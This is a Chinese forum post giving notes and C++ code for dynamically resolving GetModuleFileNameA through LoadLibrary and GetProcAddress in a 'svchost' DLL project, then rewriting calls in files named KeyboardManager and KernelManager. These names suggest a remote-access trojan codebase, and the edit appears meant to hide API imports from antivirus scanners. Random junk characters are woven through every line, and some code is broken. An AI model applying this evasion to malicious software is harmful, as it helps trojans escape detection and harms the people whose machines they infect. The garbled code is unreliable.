
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记, W T' G0 \6 X. ~
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h3 F9 @, x; V! {
----------------------------------------
/ u% ]; N: L/ t' F: U8 IDTDY.h:( G- g" f5 Y4 N( v3 l
0 C7 d; V. ?. ]# I9 k x2 Z#if _MSC_VER>1000
: W! P' P9 ~ K- G ^7 B1 o#pragma once
! N% p0 A1 L8 n7 F% G#endif //_MSC_VER>1000
" m! M( j) P6 |& z% D#include<windows.h>
+ w' Q. Q" B0 S) s0 f- S' Q0 x) `! C# C( _2 O9 @
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
: O( r' i/ ^' Cclass DTDY
% p% P7 Q$ v9 n{
: k) A c. l% w: Z4 G" \& K5 Npublic:* O P$ B. ]! c8 x- {
DTDY();
k) r% q6 g' n/ w* t6 rvirtual ~DTDY();( N- U& e/ A: T2 f2 L3 Z
public:
, p8 R p4 a; f0 lstatic pGetModuleFileNameA MyGetModuleFileName;
, w" X7 m3 z6 {* |4 i3 Gstatic BOOL FunInitiallization();
1 q6 d6 P9 N8 a. T5 o};
4 y! V) M1 ~0 ]' t- B#endif* u, s' B' A- K
----------------------------------------5 D! H; H2 f, X1 ^2 i* \
& ^ e1 [) p0 |1 q; R8 \
DTDY.cpp:9 X' u7 D: ~( N3 f" ]+ {- t
4 L$ {% ]- E4 O#include "DTDY.h"
) D' b* t3 l! d" SpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
' p0 ~, i6 D4 ?2 Z# l# PDTDY:TDY()
" J8 q- [ A5 H i( J{
& I% G( {7 P3 t5 ~0 e* d8 Q- C3 F}
, [, } u% Y& WDTDY::~DTDY(): A* t5 x9 w) k6 e- Y$ W3 m: k
{
) H0 V8 t! v4 h! {}6 Y+ H- m8 R9 f
BOOL DTDY::FunInitiallization()
6 t5 f& o6 x5 g* X! \& q O6 f{! M: B# i8 f {
HMODULE hModule=LoadLibrary("kernel32.dll");" f- }5 n6 G6 F: {3 i3 s& G
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");6 v5 W$ Q/ K2 V& E0 H0 \
if(!MyGetModuleFileName=) return FALSE;
% `/ d# M! ~; `7 c6 A. |+ N8 J/ x) o# z P! Y
return TRUE;" h. n; S! l5 R6 L o
}5 h3 m+ Y z$ t$ u @0 j& z
----------------------------------------
2 R% ]7 \) t8 F- N: Tsvchost.cpp:4 L4 M% U2 ]2 s2 e. [
9 z: a& h3 V, V0 v, H
#include "DTDY.h"
8 u8 E& p1 Q" T- O+ d2 R) o/ g5 u1 Y% ?. c: S" Z: f
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
6 C! }/ z" i- n2 E{- K; Q+ h% Y8 c
switch(ul_reason_for_call); y; p" _8 @6 G9 B
{- j! G* ~: T' L
case DLL_PROCESS_ATTACH:# h: i! l- }. o* J. D4 P* \" h* z! R3 ^
if(!DTDY::FunInitiallization()) return FALSE;% H& m& M( Y# Z! q9 n4 \- }* w
5 ~( [# T$ Z3 y! w& g" ]$ H
break;0 j8 _8 a( G3 h; B; l* _
}
# O. ` @, K( W! q}
* M, U1 I: A4 R* d- }6 w7 A
& F' C; e: a- x' k4 y: k* J
& {0 O* {" ?2 w; v. L! F. ?2 VGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def7 ~9 d+ O h! q% f. o, {
改写为. Z N& I1 N3 A% \, M* R
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));1 w: F0 b5 n6 Y% ]" u
----------------------------------------
. J* ?. x" G% ` VKernelManager.cpp:
% G2 y% J- `+ ^. f" u+ c4 ?+ n
) m# h3 M. ^4 l#include "../DTDY.h"
# [3 b( T0 L$ ]( C4 K' VGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
; D1 K2 `4 m3 n8 @6 M6 A5 N( a2 e改写为
! ?+ l- \% m4 A* S. z/ S9 aDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 Q1 O, P( H6 }7 Y- b---------------------------------------- |
|